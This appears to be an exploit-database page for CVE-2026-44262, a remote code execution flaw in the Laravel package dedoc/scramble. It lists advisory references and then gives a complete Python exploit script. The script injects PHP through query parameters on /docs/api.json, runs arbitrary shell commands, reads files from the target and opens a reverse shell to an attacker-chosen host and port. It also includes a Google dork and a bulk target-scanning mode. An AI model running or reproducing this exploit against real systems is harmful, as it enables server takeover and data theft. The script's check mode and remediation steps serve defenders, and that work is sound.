| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
| Exploit for CVE-2026-44262 | 7 May 202608:52 | – | githubexploit | |
| CVE-2026-44262 | 12 May 202620:56 | – | attackerkb | |
| CVE-2026-44262 | 7 May 202611:00 | – | circl | |
| Scramble 代码注入漏洞 | 12 May 202600:00 | – | cnnvd | |
| CVE-2026-44262 | 12 May 202620:56 | – | cve | |
| CVE-2026-44262 Scramble: Remote code execution via evaluation of user-controlled input in validation rules | 12 May 202620:56 | – | cvelist | |
| Scramble vulnerable to remote code execution via evaluation of user-controlled input in validation rules | 6 May 202619:54 | – | github | |
| Scramble Laravel - Remote Code Execution | 22 Jun 202605:20 | – | nuclei | |
| CVE-2026-44262 | 12 May 202622:16 | – | nvd | |
| GHSA-4RM2-28VJ-FJ39 Scramble vulnerable to remote code execution via evaluation of user-controlled input in validation rules | 6 May 202619:54 | – | osv |
# Exploit Title: scramble - Remote Code Execution
# Google Dork: inurl:/docs/api.json "dedoc/scramble"
# Date: 2026-05-07
# Exploit Author: Joshua van der Poll (https://github.com/joshuavanderpoll)
# Vendor Homepage: https://scramble.dedoc.co
# Software Link: https://github.com/dedoc/scramble
# Version: >=0.13.2, <0.13.22
# Tested on: Linux 6.10.14-linuxkit (aarch64), macOS, Windows
# CVE: CVE-2026-44262
# Reference: https://github.com/joshuavanderpoll/CVE-2026-44262
# Advisory: https://github.com/advisories/GHSA-4rm2-28vj-fj39
#
# Technique: extract() + eval() in NodeRulesEvaluator::doEvaluateExpression()
# lets attacker overwrite Scramble's internal $code variable with
# arbitrary PHP via a query parameter on /docs/api.json.
import argparse
import json
import re
import readline
import ssl
import sys
import time
import urllib.error
import urllib.parse
import urllib.request
DOCS_PATH = "/docs/api.json"
SLEEP_SECONDS = 4
PROOF_FILE_UNIX = "/tmp/scramble_rce_proof.txt"
PROOF_FILE_WIN = "C:\\Windows\\Temp\\scramble_rce_proof.txt"
R = "\033[91m"
G = "\033[92m"
Y = "\033[93m"
C = "\033[96m"
P = "\033[95m"
B = "\033[1m"
X = "\033[0m"
REPO = "https://github.com/joshuavanderpoll/CVE-2026-44262"
DEFAULT_UA = f"Mozilla/5.0 AppleWebKit/537.36 (CVE-2026-44262; +{REPO})"
DEFAULT_TIMEOUT = 15.0
_ua = DEFAULT_UA
_timeout = DEFAULT_TIMEOUT
_target_os = "unknown"
CTX = ssl.create_default_context()
CTX.check_hostname = False
CTX.verify_mode = ssl.CERT_NONE
def print_banner():
print(f"{P}{B}")
print(r" _____ _____ ___ __ ___ __ _ _ _ _ ___ __ ___ ")
print(r" / __\ \ / / __|_|_ ) \_ )/ / ___| | || | |_ )/ /|_ )")
print(r" | (__ \ V /| _|___/ / () / // _ \___|_ _|_ _/ // _ \/ / ")
print(r" \___| \_/ |___| /___\__/___\___/ |_| |_/___\___/___|")
print(f"{X}")
print(f"{P}{B}{REPO}{X}\n")
def fetch(url: str, timeout: float | None = None):
req = urllib.request.Request(url, headers={"User-Agent": _ua})
t = timeout if timeout is not None else _timeout
try:
with urllib.request.urlopen(req, context=CTX, timeout=t) as r:
raw = r.headers
headers = {k.lower(): v for k, v in raw.items()}
# get_all handles duplicate Set-Cookie headers
headers["set-cookie-list"] = raw.get_all("Set-Cookie") or []
return r.status, r.read().decode(errors="replace"), headers
except urllib.error.HTTPError as e:
return e.code, e.read().decode(errors="replace"), {}
except urllib.error.URLError as e:
return None, str(e.reason), {}
def info(msg):
print(f"{Y}[*]{X} {msg}")
def ok(msg):
print(f"{G}[+]{X} {msg}")
def err(msg):
print(f"{R}[-]{X} {msg}")
def proc(msg):
print(f"{C}[@]{X} {msg}")
def normalize_target(target: str) -> str:
if not target.startswith(("http://", "https://")):
target = "http://" + target
return target.rstrip("/")
def print_cookie_findings(cookies: list[str]):
for raw in cookies:
name = raw.split("=")[0].strip()
value_part = raw.split("=", 1)[1].split(";")[0].strip() if "=" in raw else ""
if name.upper() == "XSRF-TOKEN":
info(f"CSRF token (XSRF-TOKEN): {G}{value_part}{X}")
elif "session" in name.lower():
info(f"Session cookie '{name}': {G}{value_part}{X}")
else:
info(f"Cookie '{name}': {value_part}")
def check_accessible(base: str) -> bool:
url = base + DOCS_PATH
proc(f"Probing {url}")
status, body, headers = fetch(url)
if status is None:
err(body)
return False
if status == 200 and '"paths"' in body:
ok(f"HTTP {status} — docs accessible")
if server := headers.get("server"):
info(f"Server: {G}{server}{X}")
if powered := headers.get("x-powered-by"):
info(f"X-Powered-By: {G}{powered}{X}")
if cookies := headers.get("set-cookie-list"):
print_cookie_findings(cookies)
return True
err(f"HTTP {status} — not accessible or wrong target")
return False
def analyze_spec(base: str) -> tuple[list[tuple[str, str]], str | None]:
"""
Single spec fetch — prints all discovered target info.
Returns (vuln_params, version).
"""
_, body, _ = fetch(base + DOCS_PATH)
vuln_hits = []
version = None
# Laravel rule keywords that'd never appear as legit query param defaults
rule_pattern = re.compile(
r"^(required|nullable|string|integer|numeric|boolean|array|min:|max:|in:)", re.I
)
try:
data = json.loads(body)
except json.JSONDecodeError:
return vuln_hits, version
info_block = data.get("info", {})
version = info_block.get("version")
if title := info_block.get("title"):
info(f"API title: {G}{title}{X}")
if version:
info(f"API version: {G}{version}{X}")
if servers := data.get("servers"):
for s in servers:
info(f"Server URL: {G}{s.get('url', '?')}{X}")
paths = data.get("paths", {})
if paths:
info(f"Endpoints discovered ({len(paths)}):")
for path, methods in paths.items():
method_list = ", ".join(m.upper() for m in methods)
print(f" {Y}{method_list}{X} {path}")
for path, methods in paths.items():
for method_data in methods.values():
for param in method_data.get("parameters", []):
if param.get("in") != "query":
continue
schema = param.get("schema", {})
default = str(schema.get("default", ""))
if rule_pattern.match(default) or "|" in default:
vuln_hits.append((path, param["name"]))
return vuln_hits, version
def build_attack_url(base: str, param: str, payload: str) -> str:
return base + DOCS_PATH + "?" + urllib.parse.urlencode({param: payload})
def capture_output(base: str, param: str, payload: str) -> str | None:
"""
Send a PHP payload and capture output from the response body.
Output from print/echo appears before the JSON — everything before '{'.
"""
_, body, _ = fetch(build_attack_url(base, param, payload))
json_start = body.find("{")
if json_start == -1:
return body.strip() or None
output = body[:json_start].strip()
return output or None
def probe_timing(base: str, param: str) -> bool:
proc(f"Timing probe — sleep({SLEEP_SECONDS}) via param '{param}'")
t0 = time.monotonic()
fetch(base + DOCS_PATH)
baseline = time.monotonic() - t0
info(f"Baseline: {baseline:.2f}s")
attack_url = build_attack_url(base, param, f"sleep({SLEEP_SECONDS})")
info(f"Payload URL: {attack_url}")
t0 = time.monotonic()
fetch(attack_url, timeout=SLEEP_SECONDS + _timeout)
elapsed = time.monotonic() - t0
delay = elapsed - baseline
info(f"Attack response: {elapsed:.2f}s (delay: {delay:+.2f}s)")
triggered = delay >= (SLEEP_SECONDS * 0.75)
if triggered:
ok(f"VULNERABLE — response delayed ~{SLEEP_SECONDS}s")
else:
err("Not triggered (no significant delay)")
return triggered
def probe_exec(base: str, param: str) -> bool:
proc(f"Command exec probe via param '{param}'")
cmd = "whoami" if is_windows() else "id 2>&1"
output = capture_output(base, param, f"print(shell_exec({json.dumps(cmd)}))")
if output:
ok("VULNERABLE — command output captured:")
print(f"\n {B}{output}{X}\n")
return True
err("No command output in response (not vulnerable via this vector)")
return False
def detect_os(base: str, param: str):
global _target_os
raw = capture_output(base, param, "print(php_uname('s'))")
if not raw:
return
lower = raw.strip().lower()
if "windows" in lower:
_target_os = "windows"
elif "linux" in lower:
_target_os = "linux"
elif "darwin" in lower:
_target_os = "darwin"
else:
_target_os = raw.strip()
info(f"Target OS: {G}{_target_os}{X}")
def is_windows() -> bool:
return _target_os == "windows"
def proof_file() -> str:
return PROOF_FILE_WIN if is_windows() else PROOF_FILE_UNIX
def shell_binary() -> str:
return "cmd.exe" if is_windows() else "/bin/sh"
def print_output_block(output: str):
print(f"\n{B}{'─' * 65}{X}")
print(output)
print(f"{B}{'─' * 65}{X}\n")
def run_command(base: str, param: str, cmd: str):
proc(f"Executing: {cmd}")
# 2>&1 merges stderr into stdout so errors show up in output
cmd_with_stderr = cmd if "2>" in cmd else cmd + " 2>&1"
output = capture_output(base, param, f"print(shell_exec({json.dumps(cmd_with_stderr)}))")
if output is not None:
print_output_block(output)
else:
err("No output (command may have failed silently)")
def run_code(base: str, param: str, code: str):
proc("Executing raw PHP code")
# closure makes multi-statement code a single eval-able expression
wrapped = f"(function(){{ {code} }})()"
output = capture_output(base, param, wrapped)
if output is not None:
print_output_block(output)
else:
err("No output returned")
def run_read_file(base: str, param: str, path: str):
proc(f"Reading file: {path}")
output = capture_output(base, param, f"print(file_get_contents({json.dumps(path)}))")
if output is not None:
ok(f"Contents of {path}:")
print_output_block(output)
else:
err("No output — file may not exist or not readable")
def run_reverse_shell(base: str, param: str, lhost: str, lport: int):
"""
PHP eval-loop reverse shell — no bash or busybox required.
Connects back to lhost:lport and executes PHP code sent over the socket.
"""
info(f"Starting listener on your end:")
print(f"\n {B}nc -lvnp {lport}{X}\n")
proc(f"Sending reverse shell payload to {lhost}:{lport}")
shell = shell_binary()
# proc_open pipes shell stdin/stdout/stderr directly to the socket
payload = (
f"(function(){{"
f"$s=@fsockopen('{lhost}',{lport},$e,$m,30);"
f"if(!$s)return;"
f"$p=proc_open({json.dumps(shell)},array(0=>$s,1=>$s,2=>$s),$pipes);"
f"if($p)proc_close($p);"
f"fclose($s);"
f"}})()"
)
# fire and forget — connection hangs until shell is done
fetch(build_attack_url(base, param, payload), timeout=3600)
def run_check(base: str, skip_os_detect: bool = False):
"""Non-breaking check — timing probe only, no command execution."""
if not check_accessible(base):
err("Docs not accessible.")
return False
print()
proc("Analyzing OpenAPI spec...")
print()
vuln_params, _ = analyze_spec(base)
print()
if not vuln_params:
err("No vulnerable parameters detected in spec")
return False
ok(f"Found {len(vuln_params)} potentially vulnerable parameter(s):")
for path, pname in vuln_params:
print(f" {Y}{path}{X} → param '{B}{pname}{X}'")
print()
_, param = vuln_params[0]
if not skip_os_detect:
detect_os(base, param)
print()
return probe_timing(base, param)
def print_header(base: str):
print(f"\n{B}{'=' * 65}{X}")
print(f"{B} GHSA-4rm2-28vj-fj39 — dedoc/scramble RCE checker{X}")
print(f" Target: {C}{base}{X}")
print(f"{B}{'=' * 65}{X}\n")
def print_summary(base: str, param: str, timing: bool, exec_: bool):
print(f"{B}{'=' * 65}{X}")
print(f"{B} SUMMARY{X}")
print(f"{B}{'=' * 65}{X}")
print(f" Target: {C}{base}{X}")
print(f" Vuln param: {param}")
print(f" Timing probe: {'%sTRIGGERED%s' % (G, X) if timing else 'clean'}")
print(f" Exec probe: {'%sTRIGGERED%s' % (G, X) if exec_ else 'clean'}")
vulnerable = timing or exec_
if vulnerable:
print(f"\n {R}{B}Verdict: *** VULNERABLE *** (RCE confirmed){X}")
print(f"\n {Y}Remediation:{X}")
print(f" {B}1. Patch (recommended){X}")
print(" composer require dedoc/scramble:^0.13.22")
print(f" {B}2. Restrict docs access{X}")
print(" Add RestrictedDocsAccess middleware in config/scramble.php:")
print(" 'middleware' => ['web', RestrictedDocsAccess::class]")
print(f" {B}3. Disable docs in production{X}")
print(" Remove Scramble::routes() from AppServiceProvider or")
print(" wrap registration in: if (app()->isLocal()) { ... }")
print(f" {B}4. Block at web server level{X}")
print(" Deny access to /docs and /docs/api.json for external IPs")
print()
print(f" {Y}⭐ If this tool helped you, consider starring the repo: {B}{Y}{REPO}{X}")
else:
print(f"\n {G}Verdict: Not exploitable via this vector{X}")
print(f"{B}{'=' * 65}{X}\n")
return vulnerable
def main():
global _ua, _timeout, _target_os
parser = argparse.ArgumentParser(description="GHSA-4rm2-28vj-fj39 — dedoc/scramble RCE")
target_group = parser.add_mutually_exclusive_group(required=True)
target_group.add_argument("--target", help="Target URL")
target_group.add_argument("--targets", metavar="FILE", help="File with one target URL per line")
parser.add_argument("--check", action="store_true", help="Safe non-breaking check only (timing probe, no command execution)")
parser.add_argument("--command", metavar="CMD", help="Execute a shell command and print output")
parser.add_argument("--code", metavar="PHP", help="Execute raw PHP code and print output")
parser.add_argument("--read-file", metavar="PATH", help="Read a file from the target filesystem")
parser.add_argument("--shell", action="store_true", help="Start a PHP eval reverse shell (requires --lhost and --lport)")
parser.add_argument("--lhost", metavar="HOST", help="Listener host for reverse shell")
parser.add_argument("--lport", metavar="PORT", type=int, help="Listener port for reverse shell")
parser.add_argument("--os", choices=["windows", "linux", "darwin"], metavar="OS",
help="Force target OS (windows/linux/darwin) — skips auto-detection. "
"Affects shell binary (cmd.exe vs /bin/sh), proof file path, and exec probe command.")
parser.add_argument("--useragent", default=DEFAULT_UA, help="Custom User-Agent string")
parser.add_argument("--timeout", type=float, default=DEFAULT_TIMEOUT, metavar="SECONDS", help="Request timeout in seconds (default: 15)")
args = parser.parse_args()
_ua = args.useragent
_timeout = args.timeout
if args.os:
_target_os = args.os
info(f"OS forced: {G}{_target_os}{X}")
if args.shell and (not args.lhost or not args.lport):
print(f"{R}[-]{X} --shell requires --lhost and --lport")
sys.exit(1)
print_banner()
# bulk check mode
if args.targets:
try:
with open(args.targets) as f:
targets = [normalize_target(l.strip()) for l in f if l.strip()]
except FileNotFoundError:
err(f"Targets file not found: {args.targets}")
sys.exit(1)
results = []
for target in targets:
print_header(target)
vulnerable = run_check(target, skip_os_detect=bool(args.os))
results.append((target, vulnerable))
print()
print(f"{B}{'=' * 65}{X}")
print(f"{B} BULK SCAN RESULTS{X}")
print(f"{B}{'=' * 65}{X}")
for target, vuln in results:
status = f"{R}{B}VULNERABLE{X}" if vuln else f"{G}clean{X}"
print(f" {status} {target}")
print(f"{B}{'=' * 65}{X}\n")
sys.exit(0)
base = normalize_target(args.target)
print_header(base)
# safe check mode — no exploit
if args.check:
vulnerable = run_check(base, skip_os_detect=bool(args.os))
sys.exit(1 if vulnerable else 0)
# full detection + exploit path
if not check_accessible(base):
err("Docs not accessible — cannot continue.")
sys.exit(0)
print()
proc("Analyzing OpenAPI spec...")
print()
vuln_params, _ = analyze_spec(base)
print()
if not vuln_params:
err("No vulnerable parameters detected in spec")
sys.exit(0)
ok(f"Found {len(vuln_params)} potentially vulnerable parameter(s):")
for path, pname in vuln_params:
print(f" {Y}{path}{X} → param '{B}{pname}{X}'")
print()
_, param = vuln_params[0]
if not args.os:
detect_os(base, param)
print()
if args.command:
run_command(base, param, args.command)
sys.exit(0)
if args.code:
run_code(base, param, args.code)
sys.exit(0)
if args.read_file:
run_read_file(base, param, args.read_file)
sys.exit(0)
if args.shell:
run_reverse_shell(base, param, args.lhost, args.lport)
sys.exit(0)
# default — full detection probes
timing_result = probe_timing(base, param)
print()
exec_result = probe_exec(base, param)
print()
vulnerable = print_summary(base, param, timing_result, exec_result)
sys.exit(1 if vulnerable else 0)
if __name__ == "__main__":
main()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation